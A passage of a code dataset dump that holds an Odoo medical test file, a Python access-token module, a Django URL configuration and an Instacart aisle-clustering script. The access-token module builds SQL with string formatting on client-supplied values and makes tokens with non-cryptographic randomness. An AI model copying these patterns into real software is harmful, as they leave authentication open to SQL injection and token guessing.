= self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n action = self.encounter.action_view_clinical_impressions()\n self.assertEqual(action[\"res_model\"], \"medical.clinical.impression\")\n self.assertEqual(\n action[\"context\"][\"default_encounter_id\"], self.encounter.id\n )\n self.assertEqual(\n action[\"context\"][\"search_default_filter_not_cancelled\"], True\n )\n\n def test_create_family_history_from_encounter(self):\n self.encounter = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n action = self.encounter.create_family_member_history()\n self.assertEqual(\n action[\"context\"][\"default_patient_id\"], self.patient.id\n )\n # It opens a wizard, if not saved should not create a record,\n # for this reason count should be 0.\n self.assertEqual(self.encounter.family_history_count, 0)\n self.env[\"medical.family.member.history\"].create(\n {\n \"patient_id\": self.patient.id,\n \"relationship\": \"Father\",\n \"note\": \"Prostate cancer\",\n }\n )\n self.assertEqual(self.encounter.family_history_count, 1)\n\n def test_view_family_history_from_encounter(self):\n self.encounter = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n action = self.encounter.action_view_family_history()\n self.assertEqual(\n action[\"context\"][\"default_patient_id\"], self.patient.id\n )\n\n def test_compute_impression_info_from_encounter(self):\n self.encounter_1 = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n }\n )\n self.encounter_2 = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n }\n )\n # Impression 1 in_progress\n self.env[\"medical.clinical.impression\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter_1.id,\n \"specialty_id\": self.specialty_cardiology.id,\n }\n )\n # Impression 2 in_progress\n self.env[\"medical.clinical.impression\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter_2.id,\n \"specialty_id\": self.specialty_cardiology.id,\n }\n )\n # Impression 3 completed\n self.env[\"medical.clinical.impression\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter_1.id,\n \"specialty_id\": self.specialty_cardiology.id,\n \"fhir_state\": \"completed\",\n }\n )\n # Impression 4 gynecology (should not be considered in the impression_count)\n self.env[\"medical.clinical.impression\"].create(\n {\n \"patient_id\": self.patient.id,\n \"encounter_id\": self.encounter_2.id,\n \"specialty_id\": self.specialty_gynecology.id,\n }\n )\n self.specialty_cardiology.with_context(\n {\"encounter_id\": self.encounter_1.id}\n )._compute_impression_info()\n self.assertEqual(self.specialty_cardiology.patient_impression_count, 3)\n self.assertEqual(\n self.specialty_cardiology.encounter_impression_count, 2\n )\n self.assertEqual(\n self.specialty_cardiology.impressions_in_progress_count, 2\n )\n\n def test_get_specialty_impressions_from_encounter(self):\n with freezegun.freeze_time(\"2022-01-01\"):\n self.encounter_1 = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n with freezegun.freeze_time(\"2022-02-01\"):\n self.encounter_2 = self.env[\"medical.encounter\"].create(\n {\n \"patient_id\": self.patient.id,\n \"create_date\": fields.Datetime.now(),\n }\n )\n self.patient.refresh()\n action = self.specialty_cardiology.with_context(\n {\"encounter_id\": self.encounter_1.id}\n ).get_specialty_impression()\n self.assertEqual(\n action[\"context\"][\"default_encounter_id\"], self.encounter_1.id\n )\n","repo_name":"tegin/medical-fhir","sub_path":"medical_clinical_impression/tests/test_medical_encounter.py","file_name":"test_medical_encounter.py","file_ext":"py","file_size_in_byte":6659,"program_lang":"python","lang":"en","doc_type":"code","stars":34,"dataset":"github-code","pt":"44"} +{"seq_id":"14212777524","text":"# | Created by Ar4ikov\n# | Время: 16.04.2018 - 17:20\n\nfrom random import choice\nfrom api.database import database\nfrom api.config import config\n\nclass access_token():\n __slots__ = ['date', 'script_name', 'ip', 'lenght', '_access_token', 'id']\n\n db = database(config.getDatabaseName())\n db.getCursor().execute(\"\"\"CREATE TABLE IF NOT EXISTS access_tokens \n (id INTEGER PRIMARY KEY AUTOINCREMENT, \n access_token TEXT NOT NULL, \n lenght INTEGER NOT NULL, \n script_name TEXT NOT NULL, \n date INTEGER NOT NULL, \n ip TEXT NOT NULL\n )\"\"\")\n db.getConnection().commit()\n\n def __init__(self, id, date, script_name, _access_token, ip, lenght=64):\n \"\"\"\n\n Main class for access token; access token body\n\n :param id: - id of access token\n :param date: - creating date of access token\n :param script_name: - name of app or script for token had created\n :param _access_token: - access token body\n :param ip: - user remote address\n :param lenght: - lenght of access token\n \"\"\"\n self.lenght = lenght\n self.date = date\n self.script_name = script_name\n self.ip = ip\n self._access_token = _access_token\n self.id = id\n\n def getId(self) -> int:\n return self.id\n\n def getLenght(self) -> int:\n return self.lenght\n\n def getDate(self) -> int:\n return self.date\n\n def getScriptName(self) -> str:\n return self.script_name\n\n def getIp(self) -> str:\n return self.ip\n\n def getAccessToken(self) -> str:\n return self._access_token\n\n @staticmethod\n def generateFromMatrix(lenght):\n \"\"\"\n\n Generating Matrix for access token\n\n :param lenght: - lenght of access token\n :return:\n \"\"\"\n matrix = [\"A\", \"B\", \"C\", \"D\", \"E\",\n \"F\", \"G\", \"H\", \"I\", \"J\",\n \"K\", \"L\", \"M\", \"N\", \"O\",\n \"P\", \"Q\", \"R\", \"S\", \"T\",\n \"U\", \"V\", \"W\", \"X\", \"Y\",\n \"Z\", \"a\", \"b\", \"c\", \"d\",\n \"e\", \"f\", \"g\", \"h\", \"i\",\n \"j\", \"k\", \"l\", \"m\", \"n\",\n \"o\", \"p\", \"q\", \"r\", \"s\",\n \"t\", \"u\", \"v\", \"w\", \"x\",\n \"y\", \"z\", \"0\", \"1\", \"2\",\n \"3\", \"4\", \"5\", \"6\", \"7\",\n \"8\", \"9\"]\n\n Access_token = \"\"\n\n for i in range(lenght):\n Access_token = Access_token + choice(matrix)\n\n return Access_token\n\n @staticmethod\n def checkValid(token):\n \"\"\"\n\n Checking validation of access token\n\n :param token: - access token\n :return: None if token was not found in database or True if it was found.\n \"\"\"\n if not access_token.db.getValueFromTable(config.getAccessTokensTableName(), access_token=token):\n return None\n\n return True\n\n @staticmethod\n def createAccessToken(ip, script_name, date, lenght=64):\n \"\"\"\n\n Creating access token\n\n :param ip: - user remote address\n :param script_name: - name of app or script for token had created\n :param date: - date of creation\n :param lenght: - lenght of access token\n :return:\n \"\"\"\n token = access_token.generateFromMatrix(lenght)\n access_token.db.getConnection().execute(\"\"\"INSERT INTO `{}` (access_token, lenght, script_name, date, ip) \n VALUES ('{}', '{}', '{}', '{}', '{}')\"\"\".format(\n config.getAccessTokensTableName(), token, lenght, script_name, date, ip\n ))\n access_token.db.getConnection().commit()\n return access_token(id=access_token.db.getLastId(config.getAccessTokensTableName())-1, _access_token=token, lenght=lenght, script_name=script_name, date=date, ip=ip)\n\n @staticmethod\n def removeAccessToken(id):\n \"\"\"\n\n Removing access token from database if it is in database\n\n :param id:\n :return:\n \"\"\"\n if not access_token.db.getValueFromTable(config.getAccessTokensTableName(), id=id):\n return None\n\n access_token.db.removeRow(config.getAccessTokensTableName(), id=id)\n return True\n\n @staticmethod\n def getAccessTokens() -> list:\n \"\"\"\n\n Getting all access tokens\n\n :return: - List with all tokens class (@access_token)\n \"\"\"\n tokens = access_token.db.getTable(config.getAccessTokensTableName())\n access_tokens = []\n for token in tokens:\n access_tokens.append(access_token(id=token[0], _access_token=token[1], lenght=token[2], script_name=token[3], date=token[4], ip=token[5]))\n\n return access_tokens\n\n @staticmethod\n def getAccessTokenFromDatabase(token=None, id=None):\n \"\"\"\n\n Getting access token from database by using `access_token` or `id`\n\n :param token:\n :param id:\n :return:\n \"\"\"\n response = None\n if token:\n response = access_token.db.getValueFromTable(config.getAccessTokensTableName(), access_token=token)\n else:\n response = access_token.db.getValueFromTable(config.getAccessTokensTableName(), id=id)\n\n if not response:\n return None\n\n return access_token(id=response[0], _access_token=response[1], lenght=response[2], script_name=response[3], date=response[4], ip=response[5])\n\n\n\n","repo_name":"Ar4ikov/MVS","sub_path":"server/api/access_token.py","file_name":"access_token.py","file_ext":"py","file_size_in_byte":5531,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"44"} +{"seq_id":"24592483976","text":"from django.urls import re_path\nfrom . import views\nfrom django.contrib.auth import views as auth_views\nfrom . import views as user_views\n# from pages.views import selection\n\n\n### Pour le test de l'edition du formulaire\n##from . views import IndividuListView, IndividuDetailView\napp_name='pages'\nurlpatterns = [\n\n### Page d'accueil\n re_path(r'^$', views.home, name = 'home'),\n re_path(r'test/$', views.personalPageView, name = 'test'),\n\n\n ### URL to redirect to a profile page\n re_path(r'profile/$', user_views.profile, name = 'profile'),\n\n ### URL pout tester l'edition d'un formulaire\n #url(r'test1/$', IndividuListView.as_view(), name=\"test1\"),\n #url(r'test1/<char:pk>/$', IndividuDetailView.as_view(), name=\"test1_detail\"),\n\n ### Login and logout URL\n re_path(r'login/$', auth_views.LoginView.as_view(template_name='general/login.html'),name=\"login\"),\n re_path(r'logout/$', auth_views.LogoutView.as_view(template_name='general/logout.html'),name=\"logout\"),\n\n ### URL to create an account\n re_path(r'createAccount/$', views.createAccountView,name=\"createAccount\"),\n\n ### URL to desactivate an account\n re_path(r'desactivateAccount/$', views.desactivateAccountView,name=\"desactivateAccount\"),\n\n## preSelection\n re_path(r'selectCand/$', views.selectCandidatView,name=\"selectCand\"),\n\n## Pour afficher la liste de preselection\n re_path(r'preSelection/$', views.preSelectionView,name=\"preSelection\"),\n\n## Selection finale\n re_path(r'selectFinal/$', views.selectFinalView,name=\"selectFinal\"),\n\n## Pour afficher la liste de selection finale\n\n re_path(r'selection/$', views.selectionView,name=\"selection\"),\n\n## Pour editer editer les infos de these et Equipe_recherche\n re_path(r'addInfoDoc/$', views.addInfoDocView,name=\"addInfoDoc\"),\n\n## Pour afficher l'information de utilisateur connecté différents du profile\n re_path(r'mesInfo/$', views.mesInfoView,name=\"mesInfo\"),\n\n\n## La page admin des utilisateur\n re_path(r'personalPage/$', views.personalPageView,name=\"personalPage\"),\n\n\n## La page admin des utilisateur\n re_path(r'personalPageAdmin/$', views.personalPageAdminView,name=\"personalPageAdmin\"),\n\n### Inscription\n#Candidat\n re_path(r'register/$', views.registerFormView, name=\"register\"),\n#Professeur\n re_path(r'registerProf/$', views.registerProfFormView, name=\"registerProf\"),\n\n re_path('admintemp', views.admintemp, name = 'admintemp'),\n\n\n #url('candidat_list', views.preSelectionView, name = 'candidat_list'),\n #url('candidatList', views.selectionView, name = 'candidatList'),\n\n### Pour renseigner la date des soutenance\n re_path('soutDate', views.soutDateView, name = 'soutDate'),\n\n\n### Pour renseigner la mention du doctorant\n re_path('mentionDoc', views.mentionDocView, name = 'mentionDoc'),\n\n\n\n### creattion de compte par l'admin\n re_path('createAccountAdmin', views.createAccountAdminView, name = 'createAccountAdmin'),\n\n\n### Pour ajouter le rapport\n re_path('addReport', views.addReportView, name = 'addReport'),\n\n\n### Pour ajouter un article\n re_path('writeArticle', views.writeArticleView, name = 'writeArticle'),\n\n\n### Pour afficher la liste des articles du doctorant\n re_path('mesArticles', views.mesArticlesView, name = 'mesArticles'),\n\n\n### Pour afficher la liste des articles des doctorants\n re_path('articles', views.articlesView, name = 'articles'),\n\n\n### Pour afficher la page des articles\n re_path('listArticles/(?P<article_id>\\d+)/$', views.listArticlesView, name = 'listArticles'),\n\n\n### Pour supprimer un article\n re_path('deleteArticle/(?P<article_id>\\d+)/$', views.deleteArticleView, name = 'deleteArticle'),\n\n\n### Pour editer un article\n re_path('editArticle/(?P<article_id>\\d+)/$', views.editArticleView, name = 'editArticle'),\n\n\n### Pour lire un article\n re_path('readArticle/(?P<article_id>\\d+)/$', views.readArticleView, name = 'readArticle'),\n\n\n### Pour valider un article\n re_path('validArticle/(?P<article_id>\\d+)/$', views.validArticleView, name = 'validArticle'),\n\n\n### Pour valider un article\n re_path('sendMsg', views.sendMsgView, name = 'sendMsg'),\n\n ### Pour afficher le chat\n re_path('chat/(?P<user_id>\\d+)/$', views.chatView, name = 'chat'),\n\n\n ### Pour lire un article\n re_path('allArticles', views.allArticlesView, name = 'allArticles'),\n\n### Pour afficher la liste des messages recus\n re_path('mesMsg', views.mesMsgView, name = 'mesMsg'),\n\n\n### Pour afficher la liste des messages recus\n re_path('profile', views.profile, name = 'profile'),\n\n\n\n]\n\n\n### <app>/<model>_<viewtype>.html\n","repo_name":"dansheddy25/GesDoc","sub_path":"plateforme/pages/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":4569,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"44"} +{"seq_id":"37083372555","text":"#%%\nfrom math import trunc\nimport numpy as np\nimport pandas as pd\nfrom sklearn.cluster import SpectralClustering,AgglomerativeClustering, AffinityPropagation, OPTICS\nfrom scipy.sparse import csr, csr_matrix\nfrom sklearn.decomposition import TruncatedSVD,SparsePCA\nimport matplotlib.pyplot as plt\nfrom scipy.cluster.hierarchy import dendrogram, linkage\nimport matplotlib.gridspec as gridspec\nimport squarify\nimport itertools\nimport time\nimport pickle\nimport sys\nimport sys\n\n#local_vars = list(locals().items())\n#for var, obj in local_vars:\n# print(var, sys.getsizeof(obj))\n#%%\n\npd.set_option('display.max_rows', 134)\n\ndef plot_dendrogram(model, **kwargs):\n '''\n Given a clustering model, plots a dendrogram.\n '''\n # Create linkage matrix and then plot the dendrogram\n\n # create the counts of samples under each node\n counts = np.zeros(model.children_.shape[0])\n n_samples = len(model.labels_)\n for i, merge in enumerate(model.children_):\n current_count = 0\n for child_idx in merge:\n if child_idx < n_samples:\n current_count += 1 # leaf node\n else:\n current_count += counts[child_idx - n_samples]\n counts[i] = current_count\n\n linkage_matrix = np.column_stack(\n [model.children_, model.distances_, counts]\n ).astype(float)\n\n # Plot the corresponding dendrogram\n dendrogram(linkage_matrix, **kwargs)\n\ndef cosine_similariy(v1,v2):\n '''\n Calculates cosine similarity between two arrays of values. (v1*v2)/(mod(v1)*mod(v2))\n\n vector1 - array with length N\n vector2 - array with length N\n\n '''\n mod1=np.sqrt((v1*v1).sum())\n mod2=np.sqrt((v2*v2).sum())\n dot_product=(v1*v2).sum()\n return dot_product/(mod1*mod2)\ndef invert_dictionary(dict_in):\n '''\n Inverts keys and values of dictionary\n '''\n return {v: k for k, v in dict_in.items()}\n#Boolean variables to inform if there is a need to recalculate a section (or just import data that was calculated in this section previously so that there is no need to spend time recalculating)\nrecalculate_group_order_aisle=0\nrecalculate_cosine_similarity=0\nrecalculate_aisle_assignment=0\nrecalculate_group_order_department=0\nrecalculate_cosine_similarity_dept=0\nrecalculate_dept_product_dict=1\n#%%\n\n#reading csvs\norders=pd.read_csv('../data/order_products__prior.csv')[['order_id','product_id']]\n\nproducts=pd.read_csv('../data/products.csv')\naisles=pd.read_csv('../data/aisles.csv')\naisles_id=aisles['aisle_id']\ndepartments=pd.read_csv('../data/departments.csv')\n\n#getting unique aisles\nunique_aisles_dep=products[['aisle_id','department_id']].drop_duplicates()\nunique_aisles_dep=unique_aisles_dep.merge(aisles,on='aisle_id').merge(departments,on='department_id').sort_values(['department_id','aisle_id'])\n#getting aisle and department relation\naisle_name_with_dep_id=unique_aisles_dep.sort_values(by='aisle_id')\naisle_name_with_dep_id=aisle_name_with_dep_id.apply(lambda x:x['aisle']+'('+str(x['department_id'])+')',axis=1)\n\n\n#dictionary with aisles and aisles id\naisles_dict=dict(zip(aisles['aisle_id'],aisles['aisle']))\ndepartments_dict=dict(zip(unique_aisles_dep['department_id'],unique_aisles_dep['department']))\nproduct_dict=dict(zip(products['product_name'],products['product_id']))\ninverted_product_dict=invert_dictionary(product_dict)\naisle_dept_dict=dict(zip(unique_aisles_dep['aisle_id'],unique_aisles_dep['department_id']))\n\n\n\n#merging orders, departments and aisles\ncomplete_orders=orders.merge(products,on='product_id',how='left').merge(aisles,on='aisle_id').merge(departments,on='department_id')\n#count number of items bought by aisle and calculate pctg\nbought_by_aisle=complete_orders.groupby('aisle').count()[['order_id']].rename(columns={'order_id':'total_bought'}).sort_values(by='total_bought',ascending=False)\nbought_by_aisle['%total']=bought_by_aisle['total_bought']/bought_by_aisle['total_bought'].sum()*100\nbought_by_aisle['name']=bought_by_aisle.index\nbought_by_aisle['name+pctg']=bought_by_aisle.apply(lambda x:x['name']+'\\n'+'{:.1f}%'.format(x['%total']),axis=1)\n\n#count number of items bought by department and calculate pctg\nbought_by_department=complete_orders.groupby('department').count()[['order_id']].rename(columns={'order_id':'total_bought'}).sort_values(by='total_bought',ascending=False)\nbought_by_department['%total']=bought_by_department['total_bought']/bought_by_department['total_bought'].sum()*100\nbought_by_department['name']=bought_by_department.index\nbought_by_department['name+pctg']=bought_by_department.apply(lambda x:x['name']+'\\n'+'{:.1f}%'.format(x['%total']),axis=1)\n\n#%%\n#Plot pctg of items bought by department using a tree map \nplt.figure(figsize=(12,8))\nnum_labels_in_legend = 6\nlegends=list(bought_by_department['name+pctg'])\nax=squarify.plot(sizes=bought_by_department['total_bought'], label=legends[:-num_labels_in_legend], alpha=.8 , color=plt.cm.plasma(np.linspace(0, 1, len(legends))), text_kwargs={'color': 'white', 'size': 10,'rotation':30},ec='black',norm_x=144, norm_y=89)\nplt.axis('off')\nax.invert_xaxis()\nax.set_aspect('equal')\nax.legend(handles=ax.containers[0][:-num_labels_in_legend - 1:-1], labels=legends[:-num_labels_in_legend - 1:-1],fontsize=8,handlelength=1, handleheight=1)\nplt.title('Tree map of number of products bought by department')\nplt.show()\n#%%\n#Plot pctg of items bought by aisle using a tree map \n\nplt.figure(figsize=(12,8))\nnum_labels_in_legend = 110\nlegends=list(bought_by_aisle['name+pctg'])\nax=squarify.plot(sizes=bought_by_aisle['total_bought'], label=legends[:-num_labels_in_legend], alpha=.8 , color=plt.cm.plasma(np.linspace(0, 1, len(legends))), text_kwargs={'color': 'white', 'size': 8,'rotation':45},ec='black',norm_x=144, norm_y=89)\nplt.axis('off')\nax.invert_xaxis()\nax.set_aspect('equal')\nplt.title('Tree map of number of products bought by aisle')\n\nplt.show()\n\n# %%\n#Get all combinations of orders and aisles. This will later be used to correlate each aisle according to the orders in which they appeared together\nif recalculate_group_order_aisle:\n #merging products with orders\n orders_merged=orders.merge(products,on='product_id',how='left')\n del orders\n\n #Counting number of products of each transaction, separated into different aisles\n count_per_order=orders_merged.groupby(['order_id','aisle_id']).count()[['product_id']].reset_index().rename(columns={'product_id':'product'})\n count_per_order['product']=1\n del orders_merged\n\n #Transforming each transaction into a feature. \n count_per_order=count_per_order.pivot_table(values='product',index='aisle_id',columns='order_id')\n\n count_per_order.to_hdf('..//processed_data/grouped_by_order_aisle.h5','main',mode='w',complib='blosc',complevel=9)\nelse:\n count_per_order=pd.read_hdf('..//processed_data/grouped_by_order_aisle.h5','main',mode='r')\ncount_per_order\n\n# %%\n#Calculate cosine similarity between each aisle\nif recalculate_cosine_similarity:\n #iterate through each aisle number and calculate the cosine similarity with all other aisles \n n_isles=len(count_per_order.index)\n cosine_similarity_matrix=np.zeros((n_isles+1,n_isles+1))\n for aisle_id_i in np.arange(1,n_isles+1):\n for aisle_id_j in np.arange(aisle_id_i,n_isles+1):\n cosine_similarity_matrix[aisle_id_i][aisle_id_j]=cosine_similariy(count_per_order.loc[aisle_id_i,:],count_per_order.loc[aisle_id_j,:])\n cosine_similarity_matrix[aisle_id_j][aisle_id_i]=cosine_similariy(count_per_order.loc[aisle_id_i,:],count_per_order.loc[aisle_id_j,:])\n\n #disconsidering index 0, as there was no aisle with index 0\n cosine_similarity_matrix=cosine_similarity_matrix[1:,1:]\n\n #saving data for later retrieval\n with open('../processed_data/cosine_similarity_matrix.npy', 'wb') as f:\n np.save(f, cosine_similarity_matrix)\nelse:\n #loading data processed in a previous run of the program\n with open('../processed_data/cosine_similarity_matrix.npy', 'rb') as f:\n cosine_similarity_matrix=np.load(f)\n#%%\n#show cosine similarity matrix\npd.DataFrame(cosine_similarity_matrix)\n# %%\n\n#using the precomputed cosine matrix and using complete linkage to group items together, plot the hierarchical structure using a dendogram\nclustering2=AgglomerativeClustering(n_clusters=10,affinity='precomputed',linkage='complete').fit(1-cosine_similarity_matrix)\n\nplt.figure(figsize=(8,15))\ngspec= gridspec.GridSpec(80,10)\n\nleft_ax= plt.subplot(gspec[:,:6])\nright_ax=plt.subplot(gspec[:,6:])\n\n#calculate linkage matrix using wards method\nlinkage_matrix = linkage(1-cosine_similarity_matrix, \"ward\")\ndend=dendrogram(linkage_matrix,truncate_mode='level',orientation='right',labels=list(aisle_name_with_dep_id),color_threshold=1.5,ax=left_ax)\nleft_ax.spines['right'].set_visible(False)\nleft_ax.spines['top'].set_visible(False)\nleft_ax.spines['left'].set_visible(False)\nleft_ax.spines['bottom'].set_visible(False)\nleft_ax.tick_params(axis='y', which='major', labelsize=7)\nleft_ax.set_xlabel('Closeness measure')\nleft_ax.xaxis.grid(True,linestyle='--',alpha=0.4)\nleft_ax.set_title('Hierarchical clustering with ward linkage')\ncell_text = []\nfor row in range(len(departments)):\n cell_text.append(departments.iloc[row])\nright_ax.table(cellText=cell_text, colLabels=departments.columns, loc='center')\nright_ax.annotate('Original department division',(0,0.68),fontsize=12)\nplt.axis('off')\nplt.tight_layout()\nplt.savefig('clustering_aisles.jpg',dpi=200)\ndel cosine_similarity_matrix,linkage_matrix\n#%%\n##1. Group kosher and indian food with seafood and dried vegetables and sea food\n##2. Vegan section: vegan+tofu\n##3. Junk food section: drinks, snacks, ice cream, cakes,\n##4. Move instant foods to frozen prepepared meals\n##5. Create condiments/spices/seasoning section \n##6. Put bread near other breakfast related items\n\n\n#why not use purely what was calculated:\n##1. Red section does not make sense and is counter intuitive: pets, household, dessserts and first aid personal care are grouped together\n##2. Personal care was split into two different sections\n# %%\ndel count_per_order\n\n#####PART 2 - ASSIGNING OTHERS AND MISSING TO OTHER SECTION#######\nif recalculate_aisle_assignment:\n #%%\n #remaking aisles so that each item in aisle \"other\" or \"missing\" is considered as a separate aisle\n aisles=complete_orders['aisle']\n products=complete_orders['product_name']\n aisle_ids=complete_orders['aisle_id']\n combined_data=np.transpose([aisles,products,aisle_ids])\n del aisles,products,aisle_ids\n\n remade_aisles=list(map(lambda x:x[1] if x[2] in [6,100] else x[0],combined_data))\n\n complete_orders['remade_aisles']=remade_aisles\n #%%\n #Obtaining all aisles and order_ids that happened together\n count_per_order2=complete_orders.groupby(['order_id','remade_aisles']).count()[['product_id']].reset_index().rename(columns={'product_id':'product'})\n count_per_order2['product']=1\n\n\n #creating new dictionary considering products as aisles. Keep original aisles (aisles 1 to 21) identification. In the dictionary: Aisle_name as key, Aisle_id as value\n aisles_custom=list(set(pd.unique(count_per_order2['remade_aisles']))-set(aisles_dict.values()))\n aisles_custom.sort()\n aisles_dict_custom=dict(zip(aisles_custom,np.arange(len(aisles_dict)+1,len(aisles_dict)+1+len(aisles_custom))))\n\n inverted_aisles_dict=invert_dictionary(aisles_dict)\n\n aisles_dict_unified={**inverted_aisles_dict, **aisles_dict_custom}\n\n inverted_aisles_dict_unified={v: k for k, v in aisles_dict_unified.items()}\n\n #Adding remade aisle ids to dataframe\n count_per_order2['aisle_id_custom']=list(map(lambda x:aisles_dict_unified[x],count_per_order2['remade_aisles']))\n\n #%%\n\n #creating a dictionary. Each key is a transaction. Each value is the list of aisles in the transaction\n orders_aisles_list=np.transpose([list(count_per_order2['order_id']),list(count_per_order2['aisle_id_custom'])])\n dict_transactions={}\n for order_id in count_per_order2['order_id']:\n dict_transactions[order_id]=[]\n for item in orders_aisles_list:\n dict_transactions[item[0]]+=[item[1]]\n\n del count_per_order2\n #total number of new aisles (original aisles+products with no aisle assignment)\n number_unique_aisles_custom=len(aisles_dict_unified)\n\n #For each transaction, check which aisles appeared together to form a matrix that will be used to calculate the cosine similarity matrix\n\n common_appearances_matrix=np.zeros((number_unique_aisles_custom,number_unique_aisles_custom))\n total_count=np.zeros(number_unique_aisles_custom)\n\n #iterating through transactions\n for transaction in dict_transactions:\n\n aisles_this_trans=np.array(dict_transactions[transaction])\n #we are only interested in combinations of nonmain_aisles (from \"missing\" and \"other\" groups) and main aisles (frozen, bakery,etc)\n main_aisles_transactions=aisles_this_trans[aisles_this_trans<=len(aisles_dict)]\n nonmain_aisles_transactions=aisles_this_trans[aisles_this_trans>len(aisles_dict)]\n\n #add to respective index in 1D array each time an aisle appeared in a transaction\n for aisle_custom_id in aisles_this_trans:\n total_count[aisle_custom_id-1]+=1\n common_appearances_matrix[aisle_custom_id-1,aisle_custom_id-1]+=1\n\n #add to respective index in DD array each time two aisaislesles appeared simultaneously in a transaction\n\n for combination in list(itertools.product(nonmain_aisles_transactions,main_aisles_transactions)):\n common_appearances_matrix[combination[0]-1,combination[1]-1]+=1\n common_appearances_matrix[combination[1]-1,combination[0]-1]+=1\n del dict_transactions\n #calculating cosine similarity between each aisle\n cosine_similarity_matrix=common_appearances_matrix.copy()\n for i in np.arange(0,len(total_count)):\n for j in np.arange(0,len(total_count)):\n if i==j:\n cosine_similarity_matrix[i][j]=1\n else:\n cosine_similarity_matrix[i][j]=cosine_similarity_matrix[i][j]/(np.sqrt(total_count[i])*np.sqrt(total_count[j]))\n del common_appearances_matrix\n\n #iterate through each custom aisle (items that had no aisle assignment) and get original aisle (21 original aisles) that has the highest similarity to the product.\n #The product is then assigned to this section.\n aisle_assignment=[]\n for index in np.arange(len(aisles_dict),len(aisles_dict)+len(aisles_custom)):\n cosine_sim_this_custom_aisle=cosine_similarity_matrix[index]\n\n max_value=0\n count=0\n for cosine_similarity in cosine_sim_this_custom_aisle:\n if cosine_similarity>max_value and cosine_similarity!=1:\n max_value=cosine_similarity\n index_selected=count\n count+=1\n aisle_assignment+=[[inverted_aisles_dict_unified[index+1], inverted_aisles_dict_unified[index_selected+1],max_value]]\n del cosine_similarity_matrix\n aisle_assignment=pd.DataFrame(aisle_assignment,columns=['Product','Aisle Assigned','Cosine Similarity'])\n\n #Add extra information to the aisle assignment dataframe: number of transactions the product appeared on\n item_count=complete_orders[complete_orders['department_id'].apply(lambda x: x in [2,21])].groupby(['product_name','aisle']).count()[['order_id']].reset_index().rename(columns={'order_id':'number of transactions that had item','product_name':'Product','aisle':'aisle_origin'})\n\n del complete_orders\n\n aisle_assignment=aisle_assignment.merge(item_count,on='Product').sort_values(by='Cosine Similarity',ascending=False).reset_index(drop=True)\n\n aisle_assignment.to_csv('../processed_data/aisle_assignment_missing.csv')\n with open('../processed_data/aisles_dict_unified.pkl','wb') as fp:\n pickle.dump(aisles_dict_unified, fp)\nelse:\n aisle_assignment=pd.read_csv('../processed_data/aisle_assignment_missing.csv',index_col=0)\n with open('../processed_data/aisles_dict_unified.pkl','rb') as fp:\n aisles_dict_unified=pickle.load(fp)\n\n# %%\n\npd.set_option('display.max_rows', 1805)\n\naisle_assignment\n#%%\n#####PART 3 - Clustering departments\n\n#making dictionary with equivalency between product id and new aisle to which they are assigned\naisle_assignment['product_id']=aisle_assignment['Product'].apply(lambda x:product_dict[x])\n\n\naisle_assignment['aisle_id']=aisle_assignment['Aisle Assigned'].apply(lambda x:aisles_dict_unified[x])\n\nnew_aisle_assignment_dict=dict(zip(aisle_assignment['product_id'],aisle_assignment['aisle_id']))\n\n#\norders=pd.read_csv('../data/order_products__prior.csv')[['order_id','product_id']]\nproducts=pd.read_csv('../data/products.csv')\naisles=pd.read_csv('../data/aisles.csv')\ndepartments=pd.read_csv('../data/departments.csv')\n\nproducts['new_aisle_id']=products.apply(lambda x:new_aisle_assignment_dict[x['product_id']] if x['product_id'] in new_aisle_assignment_dict else x['aisle_id'],axis=1)\nproducts['new_department_id']=products['new_aisle_id'].apply(lambda x:aisle_dept_dict[x])\nproducts.to_csv('../processed_data/reassigned_products.csv')\nif recalculate_group_order_department:\n #merging products with orders\n orders_merged=orders.merge(products,on='product_id',how='left')\n del orders\n\n #Counting number of products of each transaction, separated into different aisles\n count_per_order=orders_merged.groupby(['order_id','new_department_id']).count()[['product_id']].reset_index().rename(columns={'product_id':'product'})\n count_per_order['product']=1\n del orders_merged\n\n #Transforming each transaction into a feature. \n count_per_order=count_per_order.pivot_table(values='product',index='new_department_id',columns='order_id')\n\n count_per_order.to_hdf('..//processed_data/grouped_by_order_department.h5','main',mode='w',complib='blosc',complevel=9)\nelse:\n count_per_order=pd.read_hdf('..//processed_data/grouped_by_order_department.h5','main',mode='r')\ncount_per_order\n# %%\n# %%\n#Calculate cosine similarity between each aisle\nif recalculate_cosine_similarity_dept:\n #iterate through each aisle number and calculate the cosine similarity with all other aisles \n n_depts=len(count_per_order.index)\n cosine_similarity_matrix=np.zeros((n_depts+2,n_depts+2))\n for dept_id_i in np.arange(1,n_depts+2):\n for dept_id_j in np.arange(dept_id_i,n_depts+2):\n if dept_id_i==2 or dept_id_j==2:continue\n cosine_similarity_matrix[dept_id_i][dept_id_j]=cosine_similariy(count_per_order.loc[dept_id_i,:],count_per_order.loc[dept_id_j,:])\n cosine_similarity_matrix[dept_id_j][dept_id_i]=cosine_similariy(count_per_order.loc[dept_id_i,:],count_per_order.loc[dept_id_j,:])\n\n #disconsidering index 0, as there was no aisle with index 0\n cosine_similarity_matrix=cosine_similarity_matrix[1:,1:]\n\n #saving data for later retrieval\n with open('../processed_data/cosine_similarity_matrix_dept.npy', 'wb') as f:\n np.save(f, cosine_similarity_matrix)\nelse:\n #loading data processed in a previous run of the program\n with open('../processed_data/cosine_similarity_matrix_dept.npy', 'rb') as f:\n cosine_similarity_matrix=np.load(f)\n# %%\n#deleting second item, as it includes \"other\" department, which does not exist 